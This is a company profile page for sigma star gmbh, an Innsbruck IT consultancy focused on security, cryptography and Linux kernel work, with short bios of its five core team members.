sigma star gmbh is a IT consulting and development company established in 2011 and located in Innsbruck, Austria. Today it is lead by David Gstir, Richard Weinberger and Thomas Dierl.

what we do…

At sigma star we provide consulting and software engineering services in a multitude of areas. The main ones are security and open source software.

… and how we do it

In all our work we strive for high quality and durable solutions.

Expert areas

Topics of the experts group are not limited to but include:

• Security and cryptography services, such as: Audits of code or architecture, design and implementation of protocols or concepts.
• The whole Linux ecosystem, such as any kind of kernel development, design and implementation of embedded systems or user interfaces.
• Trainings: Our services do not end after consulting and development, for all covered topics sigma star gmbh also provides trainings. Either in combination with handover of the final product to the internal development team or individually to expand the skill set of our customer’s team. In general we have a strong knowledge sharing attitude and don’t provide black box solutions.

Our customers

Our customers build mission critical systems in the area of automotive, cryptography, industrial, embedded and access control systems with a strong focus on security and privacy. Since we and our customers value integrity and confidentiality, we don’t publish a reference list. Examples however are companies that

• build Linux-based products
• have a need for IT security consulting

Among them are small companies with special needs as well as big stock companies with their own development departments around the globe.

Core Team

Sigma star gmbh has various partners and friends on which we can fall back to tackle bigger projects. Our core team currently consists of five all-rounders.

Richard Weinberger

Richard is actively involved in the Linux kernel development and maintainer of several Linux Subsystems. He is our secret weapon to hunt any kind of system level bug and issue. His extensive experience with tackling bugs also gave him a keen eye for security-specific software and compiler bugs.

David Gstir

David is the security professional of the team. He has a background in IT-security and cryptography where he researched attacks on the AES algorithm as well as security and privacy aspects of smart meters. Combined with his experience in Linux and software engineering, he is in hot pursuit of all those security issues in our customer’s source code. Aside from that he is also not afraid to build larger code bases from scratch, even if they are intended to run on non-Linux systems too.

Thomas Dierl

Thomas has 20+ years of experience in software development and software architecture. Therefore, his main topics are software development and architecture with security and durability in mind. When he is not busy with founding companies or consulting startups, he brings our customer’s ideas to paper, codes and watches over the daily organisational matters.

David Oberhollenzer

David is our brave and brilliant warrior who is not afraid to tackle new and complicated projects. This leads him to creating and maintaining multiple new open source projects spanning from low-level embedded systems to user interfaces.

Aaron Marcher

Aaron is the youngest, but no less inquisitive team member. He eagerly approaches every new project with a sharp eye for the important parts and the end goal. During his 4+ years of experience at sigma star he already combatted linux bugs, worked on linux kernel, embedded systems projects and engineered cloud-based software solutions.

We would be pleased to get to know you and tailor a specific solution for your problem.

]]>